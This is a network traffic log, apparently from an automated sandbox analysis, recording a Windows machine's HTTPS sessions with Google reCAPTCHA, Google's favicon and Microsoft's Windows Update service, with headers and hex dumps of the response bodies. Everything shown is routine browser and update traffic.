2024-02-20 22:46:12 UTC	1367	OUT	GET /recaptcha/api2/bframe?hl=en&v=yiNW3R9jkyLVP5-EEZLDzUtA&k=6LfwuyUTAAAAAOAmoS0fdqijC2PbbdH4kjq62Y1b HTTP/1.1 Host: www.google.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 X-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIlaHLAQiFoM0BCNy9zQEI2sPNAQjpxc0BCLnKzQEIv9HNAQiK080BCNDWzQEIqNjNAQj5wNQVGI/OzQEYutLNARjC2M0BGOuNpRc= Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://www.google.com/sorry/index?continue=https://www.google.com/&q=EgS_YOPeGK3X1K4GIjCs5bmnU-QRgcCxGGYio4gxMIxzCz8oSx53B1g933onepuWbALDDhFc9jBNVv2Q5b8yAXJKGVNPUlJZX0FCVVNJVkVfTkVUX01FU1NBR0VaAUM Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: NID=511=Ef5vPFGw-MZYo5hwe-0ThAVslbxbmvdVZwcHnqVzWHAU14v53MN1VvwvQq8baYfg2-IAtqZBV5NOL5rvj2NWIqrz377UhLdHtOgE-tJaBlUBYJEhuGsQdqni3oTJg0brqv1djdiLJyvTSUhdK-c5JWadCSsULPLzhSx-F-6wOg4; 1P_JAR=2024-02-20-22; AEC=Ae3NU9O2Tzbo8GWfOKc6eZ1KT0vjCbDQUmWoxnBNZoofkrmSndokMcZywQ
2024-02-20 22:46:12 UTC	891	IN	HTTP/1.1 200 OK Content-Type: text/html; charset=utf-8 Cross-Origin-Resource-Policy: cross-origin Cross-Origin-Embedder-Policy: require-corp Report-To: {"group":"recaptcha","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/recaptcha"}]} Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Tue, 20 Feb 2024 22:46:12 GMT Content-Security-Policy: script-src 'report-sample' 'nonce-RarT66z1PhPlWdWr6lCJxw' 'unsafe-inline' 'strict-dynamic' https: http: 'unsafe-eval';object-src 'none';base-uri 'self';report-uri https://csp.withgoogle.com/csp/recaptcha/1 X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block Server: GSE Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-02-20 22:46:12 UTC	361	IN	Data Raw: 31 64 30 64 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 3e 3c 68 74 6d 6c 20 64 69 72 3d 22 6c 74 72 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 3e 0a 0a 3c 74 69 74 6c 65 3e 72 65 43 41 50 54 43 48 41 3c 2f 74 69 74 6c 65 3e 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 2f 2a 20 63 79 72 69 6c 6c 69 63 2d 65 78 74 20 2a 2f 0a 40 66 6f 6e 74 2d 66 61 63 65 20 Data Ascii: 1d0d<!DOCTYPE HTML><html dir="ltr" lang="en"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><title>reCAPTCHA</title><style type="text/css">/* cyrillic-ext */@font-face
2024-02-20 22:46:12 UTC	1252	IN	Data Raw: 74 6f 2f 76 31 38 2f 4b 46 4f 6d 43 6e 71 45 75 39 32 46 72 31 4d 75 37 32 78 4b 4f 7a 59 2e 77 6f 66 66 32 29 20 66 6f 72 6d 61 74 28 27 77 6f 66 66 32 27 29 3b 0a 20 20 75 6e 69 63 6f 64 65 2d 72 61 6e 67 65 3a 20 55 2b 30 34 36 30 2d 30 35 32 46 2c 20 55 2b 31 43 38 30 2d 31 43 38 38 2c 20 55 2b 32 30 42 34 2c 20 55 2b 32 44 45 30 2d 32 44 46 46 2c 20 55 2b 41 36 34 30 2d 41 36 39 46 2c 20 55 2b 46 45 32 45 2d 46 45 32 46 3b 0a 7d 0a 2f 2a 20 63 79 72 69 6c 6c 69 63 20 2a 2f 0a 40 66 6f 6e 74 2d 66 61 63 65 20 7b 0a 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 27 52 6f 62 6f 74 6f 27 3b 0a 20 20 66 6f 6e 74 2d 73 74 79 6c 65 3a 20 6e 6f 72 6d 61 6c 3b 0a 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 34 30 30 3b 0a 20 20 73 72 63 3a 20 75 72 6c 28 2f 2f Data Ascii: to/v18/KFOmCnqEu92Fr1Mu72xKOzY.woff2) format('woff2'); unicode-range: U+0460-052F, U+1C80-1C88, U+20B4, U+2DE0-2DFF, U+A640-A69F, U+FE2E-FE2F;}/* cyrillic */@font-face { font-family: 'Roboto'; font-style: normal; font-weight: 400; src: url(//
2024-02-20 22:46:12 UTC	1252	IN	Data Raw: 46 39 2c 20 55 2b 32 30 41 42 3b 0a 7d 0a 2f 2a 20 6c 61 74 69 6e 2d 65 78 74 20 2a 2f 0a 40 66 6f 6e 74 2d 66 61 63 65 20 7b 0a 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 27 52 6f 62 6f 74 6f 27 3b 0a 20 20 66 6f 6e 74 2d 73 74 79 6c 65 3a 20 6e 6f 72 6d 61 6c 3b 0a 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 34 30 30 3b 0a 20 20 73 72 63 3a 20 75 72 6c 28 2f 2f 66 6f 6e 74 73 2e 67 73 74 61 74 69 63 2e 63 6f 6d 2f 73 2f 72 6f 62 6f 74 6f 2f 76 31 38 2f 4b 46 4f 6d 43 6e 71 45 75 39 32 46 72 31 4d 75 37 47 78 4b 4f 7a 59 2e 77 6f 66 66 32 29 20 66 6f 72 6d 61 74 28 27 77 6f 66 66 32 27 29 3b 0a 20 20 75 6e 69 63 6f 64 65 2d 72 61 6e 67 65 3a 20 55 2b 30 31 30 30 2d 30 32 41 46 2c 20 55 2b 30 33 30 34 2c 20 55 2b 30 33 30 38 2c 20 55 2b 30 33 32 39 2c Data Ascii: F9, U+20AB;}/* latin-ext */@font-face { font-family: 'Roboto'; font-style: normal; font-weight: 400; src: url(//fonts.gstatic.com/s/roboto/v18/KFOmCnqEu92Fr1Mu7GxKOzY.woff2) format('woff2'); unicode-range: U+0100-02AF, U+0304, U+0308, U+0329,
2024-02-20 22:46:12 UTC	1252	IN	Data Raw: 39 30 2d 30 34 39 31 2c 20 55 2b 30 34 42 30 2d 30 34 42 31 2c 20 55 2b 32 31 31 36 3b 0a 7d 0a 2f 2a 20 67 72 65 65 6b 2d 65 78 74 20 2a 2f 0a 40 66 6f 6e 74 2d 66 61 63 65 20 7b 0a 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 27 52 6f 62 6f 74 6f 27 3b 0a 20 20 66 6f 6e 74 2d 73 74 79 6c 65 3a 20 6e 6f 72 6d 61 6c 3b 0a 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 35 30 30 3b 0a 20 20 73 72 63 3a 20 75 72 6c 28 2f 2f 66 6f 6e 74 73 2e 67 73 74 61 74 69 63 2e 63 6f 6d 2f 73 2f 72 6f 62 6f 74 6f 2f 76 31 38 2f 4b 46 4f 6c 43 6e 71 45 75 39 32 46 72 31 4d 6d 45 55 39 66 43 42 63 34 45 73 41 2e 77 6f 66 66 32 29 20 66 6f 72 6d 61 74 28 27 77 6f 66 66 32 27 29 3b 0a 20 20 75 6e 69 63 6f 64 65 2d 72 61 6e 67 65 3a 20 55 2b 31 46 30 30 2d 31 46 46 46 3b 0a 7d Data Ascii: 90-0491, U+04B0-04B1, U+2116;}/* greek-ext */@font-face { font-family: 'Roboto'; font-style: normal; font-weight: 500; src: url(//fonts.gstatic.com/s/roboto/v18/KFOlCnqEu92Fr1MmEU9fCBc4EsA.woff2) format('woff2'); unicode-range: U+1F00-1FFF;}
2024-02-20 22:46:12 UTC	1252	IN	Data Raw: 20 2a 2f 0a 40 66 6f 6e 74 2d 66 61 63 65 20 7b 0a 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 27 52 6f 62 6f 74 6f 27 3b 0a 20 20 66 6f 6e 74 2d 73 74 79 6c 65 3a 20 6e 6f 72 6d 61 6c 3b 0a 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 35 30 30 3b 0a 20 20 73 72 63 3a 20 75 72 6c 28 2f 2f 66 6f 6e 74 73 2e 67 73 74 61 74 69 63 2e 63 6f 6d 2f 73 2f 72 6f 62 6f 74 6f 2f 76 31 38 2f 4b 46 4f 6c 43 6e 71 45 75 39 32 46 72 31 4d 6d 45 55 39 66 42 42 63 34 2e 77 6f 66 66 32 29 20 66 6f 72 6d 61 74 28 27 77 6f 66 66 32 27 29 3b 0a 20 20 75 6e 69 63 6f 64 65 2d 72 61 6e 67 65 3a 20 55 2b 30 30 30 30 2d 30 30 46 46 2c 20 55 2b 30 31 33 31 2c 20 55 2b 30 31 35 32 2d 30 31 35 33 2c 20 55 2b 30 32 42 42 2d 30 32 42 43 2c 20 55 2b 30 32 43 36 2c 20 55 2b 30 32 44 41 Data Ascii: */@font-face { font-family: 'Roboto'; font-style: normal; font-weight: 500; src: url(//fonts.gstatic.com/s/roboto/v18/KFOlCnqEu92Fr1MmEU9fBBc4.woff2) format('woff2'); unicode-range: U+0000-00FF, U+0131, U+0152-0153, U+02BB-02BC, U+02C6, U+02DA
2024-02-20 22:46:12 UTC	1252	IN	Data Raw: 72 6c 28 2f 2f 66 6f 6e 74 73 2e 67 73 74 61 74 69 63 2e 63 6f 6d 2f 73 2f 72 6f 62 6f 74 6f 2f 76 31 38 2f 4b 46 4f 6c 43 6e 71 45 75 39 32 46 72 31 4d 6d 59 55 74 66 42 78 63 34 45 73 41 2e 77 6f 66 66 32 29 20 66 6f 72 6d 61 74 28 27 77 6f 66 66 32 27 29 3b 0a 20 20 75 6e 69 63 6f 64 65 2d 72 61 6e 67 65 3a 20 55 2b 30 33 37 30 2d 30 33 37 37 2c 20 55 2b 30 33 37 41 2d 30 33 37 46 2c 20 55 2b 30 33 38 34 2d 30 33 38 41 2c 20 55 2b 30 33 38 43 2c 20 55 2b 30 33 38 45 2d 30 33 41 31 2c 20 55 2b 30 33 41 33 2d 30 33 46 46 3b 0a 7d 0a 2f 2a 20 76 69 65 74 6e 61 6d 65 73 65 20 2a 2f 0a 40 66 6f 6e 74 2d 66 61 63 65 20 7b 0a 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 27 52 6f 62 6f 74 6f 27 3b 0a 20 20 66 6f 6e 74 2d 73 74 79 6c 65 3a 20 6e 6f 72 6d 61 6c Data Ascii: rl(//fonts.gstatic.com/s/roboto/v18/KFOlCnqEu92Fr1MmYUtfBxc4EsA.woff2) format('woff2'); unicode-range: U+0370-0377, U+037A-037F, U+0384-038A, U+038C, U+038E-03A1, U+03A3-03FF;}/* vietnamese */@font-face { font-family: 'Roboto'; font-style: normal
2024-02-20 22:46:12 UTC	824	IN	Data Raw: 2c 20 55 2b 46 45 46 46 2c 20 55 2b 46 46 46 44 3b 0a 7d 0a 0a 3c 2f 73 74 79 6c 65 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 73 74 61 74 69 63 2e 63 6f 6d 2f 72 65 63 61 70 74 63 68 61 2f 72 65 6c 65 61 73 65 73 2f 79 69 4e 57 33 52 39 6a 6b 79 4c 56 50 35 2d 45 45 5a 4c 44 7a 55 74 41 2f 73 74 79 6c 65 73 5f 5f 6c 74 72 2e 63 73 73 22 3e 0a 3c 73 63 72 69 70 74 20 6e 6f 6e 63 65 3d 22 52 61 72 54 36 36 7a 31 50 68 50 6c 57 64 57 72 36 6c 43 4a 78 77 22 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 77 69 6e 64 6f 77 5b 27 5f 5f 72 65 63 61 70 74 63 68 61 5f 61 70 69 27 5d 20 3d 20 27 68 74 74 Data Ascii: , U+FEFF, U+FFFD;}</style><link rel="stylesheet" type="text/css" href="https://www.gstatic.com/recaptcha/releases/yiNW3R9jkyLVP5-EEZLDzUtA/styles__ltr.css"><script nonce="RarT66z1PhPlWdWr6lCJxw" type="text/javascript">window['__recaptcha_api'] = 'htt
2024-02-20 22:46:12 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.5	49735	142.250.80.36	443	7832	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-02-20 22:46:13 UTC	721	OUT	GET /favicon.ico HTTP/1.1 Host: www.google.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / X-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIlaHLAQiFoM0BCOnFzQEIucrNAQiK080BGI/OzQEYwtjNARjrjaUX Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: NID=511=Ef5vPFGw-MZYo5hwe-0ThAVslbxbmvdVZwcHnqVzWHAU14v53MN1VvwvQq8baYfg2-IAtqZBV5NOL5rvj2NWIqrz377UhLdHtOgE-tJaBlUBYJEhuGsQdqni3oTJg0brqv1djdiLJyvTSUhdK-c5JWadCSsULPLzhSx-F-6wOg4; 1P_JAR=2024-02-20-22; AEC=Ae3NU9O2Tzbo8GWfOKc6eZ1KT0vjCbDQUmWoxnBNZoofkrmSndokMcZywQ
2024-02-20 22:46:14 UTC	706	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Cross-Origin-Resource-Policy: cross-origin Cross-Origin-Opener-Policy-Report-Only: same-origin; report-to="static-on-bigtable" Report-To: {"group":"static-on-bigtable","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/static-on-bigtable"}]} Content-Length: 5430 X-Content-Type-Options: nosniff Server: sffe X-XSS-Protection: 0 Date: Tue, 20 Feb 2024 16:18:58 GMT Expires: Wed, 28 Feb 2024 16:18:58 GMT Cache-Control: public, max-age=691200 Last-Modified: Tue, 22 Oct 2019 18:30:00 GMT Content-Type: image/x-icon Vary: Accept-Encoding Age: 23236 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-02-20 22:46:14 UTC	546	IN	Data Raw: 00 00 01 00 02 00 10 10 00 00 01 00 20 00 68 04 00 00 26 00 00 00 20 20 00 00 01 00 20 00 a8 10 00 00 8e 04 00 00 28 00 00 00 10 00 00 00 20 00 00 00 01 00 20 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff ff ff 30 fd fd fd 96 fd fd fd d8 fd fd fd f9 fd fd fd f9 fd fd fd d7 fd fd fd 94 fe fe fe 2e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 fe fe fe 09 fd fd fd 99 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff fd fd fd 95 ff ff ff 08 00 00 00 00 00 00 00 00 00 00 00 00 fe fe fe 09 fd fd fd c1 ff ff ff ff fa fd f9 ff b4 d9 a7 ff 76 ba 5d ff 58 ab 3a ff 58 aa 3a ff 72 b8 59 ff ac d5 9d ff f8 fb f6 ff ff Data Ascii: h& ( 0.v]X:X:rY
2024-02-20 22:46:14 UTC	1252	IN	Data Raw: ff ff ff ff ff ff ff ff ff ff ff ff f4 85 42 ff f4 85 42 ff f4 85 42 ff f4 85 42 ff f4 85 42 ff f7 a6 75 ff ff ff ff ff fd fd fd f9 fd fd fd fa ff ff ff ff 0b be fb ff 05 bc fb ff b6 ec fe ff ff ff ff ff ff ff ff ff ff ff ff ff f4 85 42 ff f4 85 42 ff f4 85 42 ff f4 85 42 ff f4 85 42 ff f7 aa 7b ff ff ff ff ff fd fd fd f9 fd fd fd db ff ff ff ff 35 c9 fc ff 0a b2 f9 ff 6b a4 f6 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff fd fd fd d8 fd fd fd 99 ff ff ff ff 92 cf fb ff 37 52 ec ff 38 46 ea ff d0 d4 fa ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff fd fd ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff fd fd fd 96 fe fe fe 32 ff ff ff ff f9 f9 fe ff 56 62 ed ff 35 43 ea Data Ascii: BBBBBuBBBBB{5k7R8F2Vb5C
2024-02-20 22:46:14 UTC	1252	IN	Data Raw: de ee d8 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff fd fd fd e8 fe fe fe 2f 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 fe fe fe 24 fd fd fd ea ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff eb f5 e7 ff 8f c6 7b ff 54 a9 36 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 7e be 67 ff dd ee d7 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff fd fd fd e8 ff ff ff 22 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff ff ff 0a fd fd fd d3 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff c4 e1 b9 ff 5c ac 3e ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 Data Ascii: /${T6S4S4S4S4S4S4S4S4S4~g"\>S4S4S4S4S4S4S4S4S4S4
2024-02-20 22:46:14 UTC	1252	IN	Data Raw: ff ff ff ff ff ff ff ff ff ff ff ff f4 85 42 ff f4 85 42 ff f4 85 42 ff f4 85 42 ff f4 85 42 ff f4 85 42 ff f4 85 42 ff f4 85 42 ff f4 85 42 ff f4 85 42 ff f4 85 42 ff fa c8 aa ff ff ff ff ff ff ff ff ff ff ff ff ff fd fd fd ea fd fd fd fa ff ff ff ff ff ff ff ff ff ff ff ff 07 bd fb ff 05 bc fb ff 05 bc fb ff 05 bc fb ff 7d dc fd ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff f4 85 42 ff f4 85 42 ff f4 85 42 ff f4 85 42 ff f4 85 42 ff f4 85 42 ff f4 85 42 ff f4 85 42 ff f4 85 42 ff f4 85 42 ff f4 85 42 ff f9 c1 9f ff ff ff ff ff ff ff ff ff ff ff ff ff fd fd fd f9 fd fd fd fa ff ff ff ff ff ff ff ff ff ff ff ff 07 bd fb ff 05 bc fb ff 05 bc fb ff 05 bc fb ff 7d dc fd ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff Data Ascii: BBBBBBBBBBB}BBBBBBBBBBB}
2024-02-20 22:46:14 UTC	1128	IN	Data Raw: ff ff ff ff a0 a7 f5 ff 35 43 ea ff 35 43 ea ff 35 43 ea ff 35 43 ea ff 35 43 ea ff 35 43 ea ff 35 43 ea ff 35 43 ea ff 35 43 ea ff 35 43 ea ff 35 43 ea ff 35 43 ea ff 35 43 ea ff 35 43 ea ff 35 43 ea ff 81 8a f2 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff fd fd fd 8a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 fe fe fe 0b fd fd fd d5 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff b5 ba f7 ff 3e 4b eb ff 35 43 ea ff 35 43 ea ff 35 43 ea ff 35 43 ea ff 35 43 ea ff 35 43 ea ff 35 43 ea ff 35 43 ea ff 35 43 ea ff 35 43 ea ff 35 43 ea ff 35 43 ea ff 3f 4c eb ff ba bf f8 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff fd fd fd d2 fe fe fe 09 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 fe fe fe 26 fd fd fd eb ff ff ff Data Ascii: 5C5C5C5C5C5C5C5C5C5C5C5C5C5C5C>K5C5C5C5C5C5C5C5C5C5C5C5C?L&

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.5	49733	40.68.123.157	443

Timestamp	Bytes transferred	Direction	Data
2024-02-20 22:46:14 UTC	306	OUT	GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=heMuRbMeN2sFtAl&MD=ETfHWz5l HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-02-20 22:46:14 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "XAopazV00XDWnJCwkmEWRv6JkbjRA9QSSZ2+e/3MzEk=_2880" MS-CorrelationId: c914a029-68aa-4905-9570-f74ffbfe4bec MS-RequestId: 4fa6f519-9a3d-46b9-8875-9c9deed2d5fa MS-CV: 3AcF5RenP0G1OWlN.0 X-Microsoft-SLSClientCache: 2880 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Tue, 20 Feb 2024 22:46:13 GMT Connection: close Content-Length: 24490
2024-02-20 22:46:14 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 92 1e 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 23 d0 00 00 14 00 00 00 00 00 10 00 92 1e 00 00 18 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 e6 42 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 78 cf 8d 5c 26 1e e6 42 43 4b ed 5c 07 54 13 db d6 4e a3 f7 2e d5 d0 3b 4c 42 af 4a 57 10 e9 20 bd 77 21 94 80 88 08 24 2a 02 02 d2 55 10 a4 a8 88 97 22 8a 0a d2 11 04 95 ae d2 8b 20 28 0a 88 20 45 05 f4 9f 80 05 bd ed dd f7 ff 77 dd f7 bf 65 d6 4a 66 ce 99 33 67 4e d9 7b 7f fb db 7b 56 f4 4d 34 b4 21 e0 a7 03 0a d9 fc 68 6e 1d 20 70 28 14 02 85 20 20 ad 61 10 08 e3 66 0d ed 66 9b 1d 6a 90 af 1f 17 f0 4b 68 35 01 83 6c fb 44 42 5c 7d 83 3d 03 30 be 3e ae be 58 Data Ascii: MSCFD#AdBenvironment.cabx\&BCK\TN.;LBJW w!$*U" ( EweJf3gN{{VM4!hn p( affjKh5lDB\}=0>X
2024-02-20 22:46:14 UTC	8666	IN	Data Raw: 04 01 31 2f 30 2d 30 0a 02 05 00 e1 2b 8a 50 02 01 00 30 0a 02 01 00 02 02 12 fe 02 01 ff 30 07 02 01 00 02 02 11 e6 30 0a 02 05 00 e1 2c db d0 02 01 00 30 36 06 0a 2b 06 01 04 01 84 59 0a 04 02 31 28 30 26 30 0c 06 0a 2b 06 01 04 01 84 59 0a 03 02 a0 0a 30 08 02 01 00 02 03 07 a1 20 a1 0a 30 08 02 01 00 02 03 01 86 a0 30 0d 06 09 2a 86 48 86 f7 0d 01 01 05 05 00 03 81 81 00 0c d9 08 df 48 94 57 65 3e ad e7 f2 17 9c 1f ca 3d 4d 6c cd 51 e1 ed 9c 17 a5 52 35 0f fd de 4b bd 22 92 c5 69 e5 d7 9f 29 23 72 40 7a ca 55 9d 8d 11 ad d5 54 00 bb 53 b4 87 7b 72 84 da 2d f6 e3 2c 4f 7e ba 1a 58 88 6e d6 b9 6d 16 ae 85 5b b5 c2 81 a8 e0 ee 0a 9c 60 51 3a 7b e4 61 f8 c3 e4 38 bd 7d 28 17 d6 79 f0 c8 58 c6 ef 1f f7 88 65 b1 ea 0a c0 df f7 ee 5c 23 c2 27 fd 98 63 08 31 Data Ascii: 1/0-0+P000,06+Y1(0&0+Y0 00*HHWe>=MlQR5K"i)#r@zUTS{r-,O~Xnm[`Q:{a8}(yXe\#'c1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.5	49740	40.68.123.157	443

Timestamp	Bytes transferred	Direction	Data
2024-02-20 22:46:54 UTC	306	OUT	GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=heMuRbMeN2sFtAl&MD=ETfHWz5l HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-02-20 22:46:54 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "Mx1RoJH/qEwpWfKllx7sbsl28AuERz5IYdcsvtTJcgM=_2160" MS-CorrelationId: 1d1815b3-a2e0-48fc-9d55-d36e58f3e5ee MS-RequestId: a33c0e17-21e6-4ea6-b3c4-84cf17f15a4d MS-CV: LSyoKJzbH0e9ArqW.0 X-Microsoft-SLSClientCache: 2160 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Tue, 20 Feb 2024 22:46:53 GMT Connection: close Content-Length: 25457
2024-02-20 22:46:54 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 51 22 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 db 8e 00 00 14 00 00 00 00 00 10 00 51 22 00 00 20 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 f3 43 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 0d 92 6f db e5 21 f3 43 43 4b ed 5a 09 38 55 5b df 3f 93 99 90 29 99 e7 29 ec 73 cc 4a 66 32 cf 84 32 64 c8 31 c7 11 52 38 87 90 42 66 09 99 87 32 0f 19 0a 09 51 a6 a8 08 29 53 86 4a 52 84 50 df 46 83 ba dd 7b df fb 7e ef 7d ee 7d bf ef 9e e7 d9 67 ef 35 ee b5 fe eb 3f ff b6 96 81 a2 0a 04 fc 31 40 21 5b 3f a5 ed 1b 04 0e 85 42 a0 10 04 64 12 6c a5 de aa a1 d8 ea f3 58 01 f2 f5 67 0b 5e 9b bd e8 a0 90 1d bf 40 88 9d eb 49 b4 87 9b ab 8b 9d 2b 46 c8 c7 c5 19 92 Data Ascii: MSCFQ"DQ" AdCenvironment.cabo!CCKZ8U[?))sJf22d1R8Bf2Q)SJRPF{~}}g5?1@![?BdlXg^@I+F
